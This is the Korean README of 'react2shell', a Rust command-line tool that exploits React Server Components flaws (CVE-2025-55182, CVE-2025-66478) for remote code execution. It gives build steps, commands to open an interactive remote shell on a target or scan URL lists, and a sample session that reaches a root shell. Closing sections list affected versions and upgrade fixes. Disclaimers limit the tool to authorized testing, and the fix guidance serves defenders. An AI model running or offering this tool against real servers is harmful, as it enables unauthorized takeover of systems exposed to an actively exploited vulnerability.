
React Server Components 및 Server Actions의 취약점(CVE-2025-55182, CVE-2025-66478)을 악용하여 취약한 서버에서 원격 코드 실행(RCE)을 달성하는 CLI 도구입니다.
React Server Components / Server Actions의 프로토타입 오염 취약점(CVE-2025-55182 및 CVE-2025-66478)을 악용하여 취약한 서버에서 원격 코드 실행(RCE)을 가능하게 하는 CLI 도구입니다.
원본 PoC : https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc
경고: 이 도구는 현재 야생에서 적극적으로 악용되고 있는 심각한 취약점(CVSS 10.0)을 대상으로 합니다. 소유한 시스템이나 명시적 테스트 권한이 있는 시스템에서만 사용하십시오.
이 도구는 오직 교육 목적, 허가된 보안 테스트, 허가된 침투 테스트 및 취약점 연구를 위해 제공됩니다.
저자와 기여자는 이 도구 사용으로 인한 모든 오용, 손해 또는 법적 결과에 대해 책임을 지지 않습니다. 귀하는 사용이 모든 관련 법률, 규정 및 서비스 약관을 준수하도록 할 전적인 책임이 있습니다.
허가 없이 시스템에 대한 무단 사용은 대부분의 관할권에서 불법이며 심각한 처벌을 받을 수 있습니다.
git clone https://github.com/mantvmass/react2shell.git
cd react2shell
cargo build --release
바이너리는 target/release/react2shell에 위치합니다 (Windows의 경우 react2shell.exe).
Releases 페이지에서 다운로드하세요.
react2shell [COMMAND] [SOURCE]
open <URL>: 대상에서 대화형 리버스 셸을 엽니다 (취약한 경우).scan <FILE>: 파일에서 대상 목록(줄당 하나의 URL)을 스캔하여 취약점을 확인합니다.# Open interactive shell
react2shell open http://vulnerable-target.com
# Scan multiple targets
react2shell scan targets.txt
# Scan single target
react2shell scan http://127.0.0.1:3000
[email protected]:3000 (js)
$ /help # Display all supported commands
Commands;
/new <URL> ; Switch URL target # Switch URL target
/use exec ; Execute command and wait for output # Switch to exec mode (waits for result)
/use exec-no-wait ; Execute command without waiting # Exec mode without waiting for output
/use js ; Execute JavaScript code # Switch back to JavaScript mode
/set timeout <ms> ; Set command timeout in milliseconds # Configure command timeout
/show options ; Show current configuration # Display current shell settings
/clear ; Clear screen # Clear the terminal screen
/exit or /quit ; Exit the shell # Exit the interactive shell
Examples;
ls -la # Example Linux command
whoami # Show current system user
console.log('Hello') # Example JavaScript command
[email protected]:3000 (js)
$ /use exec # Switch from JS mode to exec mode
[+] Switch shell mode to exec
[email protected]:3000 (exec)
$ whoami # Verify current execution user
root # Command output
App Router와 함께 React Server Components를 사용하는 애플리케이션이 다음 버전을 실행 중일 때 영향을 받습니다:
다음은 영향을 받지 않습니다:
취약점은 React 버전 19.0, 19.1.0, 19.1.1 및 19.2.0의 다음 패키지에 존재합니다:
react-server-dom-webpackreact-server-dom-parcelreact-server-dom-turbopack패치된 버전으로의 즉시 업그레이드를 특히 프로덕션 환경에서 강력히 권장합니다.
주요 수정 사항은 React 및 Next.js의 패치된 버전으로 업그레이드하는 것입니다.
Next.js 애플리케이션의 경우 공식 자동 수정 도구를 사용하세요:
npx fix-react2shell-next
더 많은 정보: vercel-labs/fix-react2shell-next
공식 권고 사항 참조:
이 프로젝트는 교육 및 허가된 보안 연구 목적으로만 제공됩니다. 사용에 대한 모든 책임은 최종 사용자에게 있습니다.